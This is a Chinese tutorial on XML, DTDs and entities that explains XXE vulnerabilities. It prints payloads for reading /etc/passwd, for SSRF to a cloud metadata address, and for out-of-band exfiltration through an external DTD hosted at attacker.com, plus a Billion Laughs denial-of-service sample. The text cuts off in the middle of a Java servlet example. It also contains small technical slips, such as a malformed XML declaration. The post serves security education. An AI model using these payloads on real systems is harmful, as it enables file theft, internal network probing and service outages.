XML 是可扩展标记语言,被设计用来结构化、传输与存储数据。XML 使用标签来标记数据,这些标签可以自定义,因此 XML 具有可扩展性。
XML 文档由一个根元素开始,然后包含一系列嵌套的元素。每个元素可以包含文本、属性和子元素。标签用尖括号(<>)表示,必须成对出现,有开始标签就必须有结束标签。同时,XML 文件需要声明,例如:<xml version=\”1.0\” encoding=\”UTF-8\”?>。
XML 提供了一种通用的数据格式,使不同平台和应用程序能够共享和解析数据。XML 支持通过文档类型定义(DTD)或 XML Schema 定义文档的结构和约束,以确保数据的有效性和一致性。
XML 文档示例:
<?xml version=\”1.0\” encoding=\”UTF-8\” ?>
<email>
<to>sec@aa.com</to>
<from>code@aa.com</from>
<body>Hello, test!</body>
</email>
DTD
DTD (Document Type Definition,文档类型定义)是 XML 的一种元数据结构,用于定义 XML 文档的合法结构、元素、属性以及实体(Entity)。DTD 可以内嵌在 XML 文件中(内部 DTD),也可以通过外部引用引入(外部 DTD)。
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!– …其他元素定义… –>
]>
实体
实体(Entity)是 XML 的存储单元,用于定义可重用内容的一种机制。实体可以代表文本、特殊字符,甚至外部资源。实体分为内部实体和外部实体。当 XML 被解析时,实体会被替换为其定义的内容。
内部实体
内部实体(Internal Entity)定义在 DTD (Document Type Definition,文档类型定义)中,内容为字面量(字符串),不引用外部资源。
<!DOCTYPE test [
<!ENTITY author \”Alice\”>
]>
<message>Written by &author;</message>
解析后变为:<message>Written by Alice</message>。
外部实体
外部实体(External Entity)的内容来自外部资源(如本地文件、HTTP URL等),通过SYSTEM或PUBLIC关键字引入。如果应用程序未禁用外部实体解析,攻击者可利用它读取敏感文件、发起服务器端请求伪造、DoS 攻击等。
<?xml version=\”1.0\” encoding=\”UTF-8\” ?>
<!DOCTYPE foo [
<!ENTITY f SYSTEM \”file:///etc/passwd\”>
]>
<foo>
<data>&f;</data>
</foo>
定义了一个名为f的外部实体,它引用了本地的/etc/passwd文件。通过&f来引用该外部实体,并将其包含在<data>元素中。
当应用程序在解析 XML 输入时,若没有禁止外部实体的加载而导致加载了外部文件及代码时,便会造成 XXE 漏洞。XXE 漏洞可以通过FILE协议或是FTP协议来读取文件源码,也可以通过 XXE 漏洞来对内网进行探测或者攻击。
XXE 攻击原理
当应用程序使用不安全的 XML 解析器(如未禁用外部实体)处理用户提交的 XML 数据时,攻击者可注入恶意 DTD 和外部实体,导致:
-
任意文件读取(如 /etc/passwd、C:\\Windows\\win.ini)
-
服务端请求伪造(SSRF)
-
拒绝服务(如 Billion Laughs Attack)
-
带外数据泄露(Out-of-Band, OOB)
常见攻击类型
本地文件读取
通过定义指向本地文件系统的外部实体,读取服务器上的敏感文件。
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM \”file:///etc/passwd\”>
]>
<root>&xxe;</root>
服务器端请求伪造(SSRF)
利用外部实体向内网或外部 URL 发起 HTTP 请求,探测或攻击后端系统。
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM \”http://169.254.169.254:6379\”>
]>
<root>&xxe;</root>
带外数据泄露(Out-of-Band, OOB)
利用参数实体(Parameter Entity)结合外部 DTD,将敏感数据外传到攻击者控制的服务器。
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM \”http://attacker.com/evil.dtd\”>
%xxe;
]>
<request>test</request>
evil.dtd内容(托管在攻击者服务器):
<!ENTITY % file SYSTEM \”file:///etc/passwd\”>
<!ENTITY % exfil \”<!ENTITY % send SYSTEM \’http://attacker.com/?data=%file;\’>\”>
%exfil;
%send;
Billion Laughs(逻辑炸弹/DoS)
利用递归实体导致内存爆炸:
<!DOCTYPE lolz [
<!ENTITY a \”lol\”>
<!ENTITY b \”&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;\”>
<!ENTITY c \”&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;\”>
<!ENTITY d \”&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;\”>
]>
<root>&d;</root>
Java 中常用解析 XML 的方法
DocumentBuilderFactory
DocmentBuilder类是javax.xml.parsers.DocumentBuilderFactory类的子类,该类提供了创建 Document 对象以及解析 XML 文件的方法。
package xxe.test.testxxe;
import java.io.*;
import jakarta.servlet.http.*;
import jakarta.servlet.annotation.*;
import org.w3c.dom.Document;
import org.w3c.dom.Element;
import org.w3c.dom.NodeList;
import org.xml.sax.SAXException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
@WebServlet(name = \”xxeServlet1\”, value = \”/xxe-servlet1\”)
public class XxeServlet1 extends HttpServlet {
public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOExcepti
网硕互联帮助中心







评论前必须登录!
注册